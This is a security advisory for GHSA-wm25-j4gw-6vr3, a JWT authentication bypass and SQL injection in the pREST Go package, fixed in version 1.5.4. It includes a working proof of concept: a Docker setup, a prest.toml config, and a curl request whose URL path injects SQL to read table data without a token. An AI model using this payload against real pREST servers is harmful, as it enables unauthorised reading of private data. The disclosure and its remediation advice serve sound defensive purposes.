GHSA-wm25-j4gw-6vr3 pREST vulnerable to jwt bypass + sql injection

Not scored Published 30 Jul 2024

Attackers can bypass JWT authentication and execute SQL injection to read sensitive database data without credentials.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-wm25-j4gw-6vr3?

GHSA-wm25-j4gw-6vr3 is a SQL injection vulnerability in github.com/prest/prest, published on 30 Jul 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

Probably jwt bypass + sql injection or what i'm doing wrong?

PoC (how to reproduce)

Create following files:

docker-compose.yml:

services:
  postgres:
    image: postgres
    container_name: postgres_container_mre
    environment:
      POSTGRES_USER: test_user_pg
      POSTGRES_PASSWORD: test_pass_pg
      POSTGRES_DB: test_db
  prest:
    image: prest/prest
    build: .
    volumes:
      - ./queries:/queries
      - ./migrations:/migrations
    ports:
      - &#34;3000:3000&#34;

Dockerfile:

from prest/prest:latest

COPY ./prest.toml prest.toml

prest.toml:

debug=false
migrations = &#34;./migrations&#34;

[http]
port = 3000

[jwt]
default = true
key = &#34;secret&#34;
algo = &#34;HS256&#34;

[auth]
enabled = true
type = &#34;body&#34;
encrypt = &#34;MD5&#34;
table = &#34;prest_users&#34;
username = &#34;username&#34;
password = &#34;password&#34;

[pg]
URL = &#34;postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable&#34;

[ssl]
mode = &#34;disable&#34;
sslcert = &#34;./PATH&#34;
sslkey = &#34;./PATH&#34;
sslrootcert = &#34;./PATH&#34;

[expose]
enabled = true
databases = true
schemas = true
tables = true

[queries]
location = &#34;/queries&#34;

run commands:

mkdir -p migrations queries
docker compose up --build -d

wait for pg and prest, then run following to add test data to the pg:

export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c &#34;CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, &#39;some secret text&#39;) ON CONFLICT DO NOTHING;&#34;

SQL injection even without jwt token:

curl --location &#39;127.0.0.1:3000/test_db/public&#34;.some_table)%20s;--/auth&#39;

output:

[{&#34;id&#34;: 1, &#34;secret_data&#34;: &#34;some secret text&#34;}]

Which versions are affected by GHSA-wm25-j4gw-6vr3?

3 open source packages ship an affected version, including github.com/prest/prest.

Package	Affected	Fixed in
`github.com/prest/prest` Go	All versions	`1.5.4`
`github.com/prest/prest` Go	All versions	`1.5.4`
`github.com/prest/prest` Go	All versions	`1.5.4`

How do I fix GHSA-wm25-j4gw-6vr3?

Upgrade github.com/prest/prest to 1.5.4 or later.

Use parameterised queries everywhere and never build SQL by joining strings. Upgrade affected software first; a web application firewall only buys time. More about SQL injection.

Is GHSA-wm25-j4gw-6vr3 being exploited?

There is no known exploitation of GHSA-wm25-j4gw-6vr3 in the wild and no public exploit code.

Sources

Also known as GO-2024-3011.